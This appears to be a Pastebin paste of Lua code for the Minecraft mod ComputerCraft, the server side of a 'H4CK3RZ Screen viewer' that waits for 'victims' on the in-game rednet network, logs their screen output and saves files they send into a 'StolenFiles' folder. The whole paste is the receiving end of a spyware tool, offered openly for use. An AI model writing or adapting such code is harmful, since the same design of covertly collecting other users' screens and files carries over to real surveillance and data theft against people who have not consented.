Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- H4CK3RZ Screen viewer by PaymentOption; Server Side --
- VERSION = "Alpha 0.0.1"
- --------------------------------------------
- rednet.open("top"); rednet.open("bottom")
- rednet.open("right"); rednet.open("left")
- rednet.open("back")
- -- VARS --
- victimCode = "82d5sf"
- lineNum = 2
- tConnected = {}
- ----------
- -- Helper Functions --
- function cPrint(height, string)
- local w, h = term.getSize()
- local xPosition = w/2 - string.len(string)/2
- term.setCursorPos(xPosition, height)
- term.write(string)
- end
- function rPrint(height, string)
- local w,h = term.getSize()
- local xPos = w - string.len(string)
- term.setCursorPos(xPos, height)
- term.write(string)
- end
- function clear() term.clear(); term.setCursorPos(1,1) end
- function split(str, pat)
- local t = {} -- NOTE: use {n = 0} in Lua-5.0
- local fpat = "(.-)" .. pat
- local last_end = 1
- local s, e, cap = str:find(fpat, 1)
- while s do
- if s ~= 1 or cap ~= "" then
- table.insert(t,cap)
- end
- last_end = e+1
- s, e, cap = str:find(fpat, last_end)
- end
- if last_end <= #str then
- cap = str:sub(last_end)
- table.insert(t, cap)
- end
- return t
- end
- function checkOriginality(sender)
- for i=1, #tConnected do
- if tConnected[i] == sender then return false end
- end
- return true
- end
- ----------------------
- -- Network Functions --
- function getVictimScreen()
- local index = 2; local tReceived = {} -- How we will tell if they are our victim or not
- clear(); --[[term.setCursorPos(1,1); write("Victim ID "..sender);--]] rPrint(18, "Version: "..VERSION)
- shell.run("mkdir", "StolenFiles"); local tStolen = fs.list("StolenFiles")
- while true do
- term.setCursorPos(1,1); term.clearLine()
- write("Connected Victims: ")
- for i=1, #tConnected do
- write(" "..tostring(tConnected[i]..","))
- end
- index = 2
- sender, message = rednet.receive()
- if checkOriginality(sender) then tConnected[#tConnected+1] = sender end
- tReceived = {}
- tReceived = split(tostring(message), " ")
- term.setCursorPos(1,1); --[[write("Victim ID "..sender);--]] local nTime = os.time(); rPrint(18, "Version: "..VERSION)
- if tReceived[1] == victimCode then
- if tReceived[2] == "FILE" then
- local file = fs.open("StolenFiles/file"..#tStolen+1, "w")
- rednet.send(sender, "ready"); sender, message = rednet.receive(0.3)
- file.write(tostring(message)); file.close()
- term.setCursorPos(1, lineNum+1); term.clearLine(); write(textutils.formatTime( nTime, false )..": File downloaded as StolenFiles/file"..#tStolen+1)
- lineNum = lineNum+1
- end
- term.setCursorPos(1, lineNum+1); term.clearLine(); write("ID:"..sender.." :"..textutils.formatTime( nTime, false )..": ")
- repeat if tReceived[2] ~= "FILE" then write(" "..tReceived[index]); index = index+1; end; until index == #tReceived+1
- lineNum = lineNum+1
- if lineNum > 16 then
- term.setCursorPos(1, 18); term.clearLine(); rPrint(18, "Version: "..VERSION)
- clear(); lineNum = 2
- end
- end
- end
- end
- -----------------------
- clear()
- while message ~= "connect" do
- cPrint(6, "Awaiting victims..."); sender, message = rednet.receive()
- end
- tConnected[1] = sender; getVictimScreen()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement